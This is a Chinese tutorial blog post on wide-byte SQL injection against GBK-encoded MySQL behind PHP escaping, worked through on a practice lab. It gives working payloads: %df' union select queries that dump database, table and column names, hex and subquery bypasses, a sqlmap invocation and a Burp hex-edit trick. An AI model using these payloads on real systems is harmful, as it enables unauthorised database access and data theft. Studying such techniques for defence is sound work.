SQL注入之宽字节注入

在了解宽字节之前,我们可以先来了解一下PHP的魔术引号

魔术引号(其实就是PHP的防御函数):

magic_quotes_gpc(魔术引号开关)这个在PHP的高版本(5.4.45及以上)里面取消掉了,转化为了一种函数(addslashes()函数)

作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤 单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

绕过方法:

        1、寻找不需要闭合的地方

        2、仔细查看作用域(影响范围)

        3、宽字节注入

在讲宽字节之前,我们需要先了解一下编码,每个国家的语言和文字都不同,但是对于计算机来说,到了最后都是二进制,所以在计算机的世界里,汉字最后也是由数字组成的,每个国家都有自己的一套编码,因为万国码不一定会有自己国家的一些字,像我们国家就是GBK编码,而编码不同会造成歧义,GBK编码是多字符编码(多个字符组在一起成为一个字),使用了双字节编码的方案,所以GBK编码一个汉子占用两字节,而UTF-8编码占用三个字节,(asci编码上面能查到的都是单字节)

两个单字节在一起,就有可能变为一个双字节,我们输入的单引号被转义了,原本的语句是:select *from news where id='1\'',而当数据库使用的是GBK编码时,我们输入某一个字符,语句就变为了select *from news where id='1?\'',问号和反斜杠组合在一起,可能变为了某个汉字,这样我们的单引号就逃逸了出来,这就是宽字节注入的核心(URL编码的核心是16进制)

数据库使用了GBK编码,就可能存在宽字节注入

那么如何判断数据库使没使用GBK编码呢?试试不就知道了吗

接下来就是进入靶场了

我们怎么样才能知道哪些字符可以和反斜杠组合在一起成为汉字呢,我们可以在百度上面查一波

进入百度,我们在URL栏处将编码改为GBK,然后在1的这个输入%df%5c(反斜杠url编码之后就是%5c),只要能出现汉字的就行了,像%dd、%95这些都能和反斜杠组合在一起成为汉字

 进入靶场,在url传参,输入%df' and 1=1 -- qwe,页面有数据,输入%df' and 1=2 -- qwe,页面出错,初步判断出这里存在SQL注入

 接下来就是判断字段数了,%df' order by 1、2、3 -- qwe,判断出有三个字段数,然后查看回显点,%df' union select 1,2,3 -- qwe,判断出2、3是回显点,接下来就是老流程了,拿库名,然后表名,然后字段名,可以按照我们之前学的来搞就好了

 库名:%df' union select 1,2,database() -- qwe

表名:%df' union select 1,2,table_name from information_schema.tables where table_schema=database() -- qwe

查询字段的时候,我们之前写的语句是这样的:union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='表名',这里我们会用到单引号,而我们只要写单引号,就会被转义,我们如何绕过呢?

第一种方法就是套娃法,如下:

字段名:%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database()) -- qwe

第二种方法,十六进制法

mysql数据库支持十六进制输入,我们在www.sojson.com这个网站将我们得到的表名user转换为十六进制,然后再输入,当然,你只输入数字,数据库是无法识别它到底是十六进制还是只是数字的,所以我们需要给他一个表示,就是0x,在URL栏输入%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 -- q,SQLmap跑宽字节的话,需要我们手动给他闭合(当然也不要忘记给他加等级),sqlmap.py --level 3 --risk 2 -u 网址%df,

GET传参的我们可以直接传一个%df,而POST传参的,我们传%df是没有用的,POST传参是不会URL编码的,那我们怎么办呢

我们可以利用burp抓包来改他的十六进制的值,我们在输入框中输入admin a' or 1=1 -- qwe,然后抓包,点击hex,在右侧找到我们输入的那个a,a在十六进制里面是61,将61改为df就行了

 当然,我们也可以直接传参汉字,前提是数据库是UTF-8编码,

输入 风' union select 1,2,3 -- q,这个靶场是没有回显点的,所以我们还需要结合盲注学到的知识去做,当然,可以直接上SQLmap,burp抓包,将数据包复制下来,放到和SQLmap同目录下,然后跑就行了

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值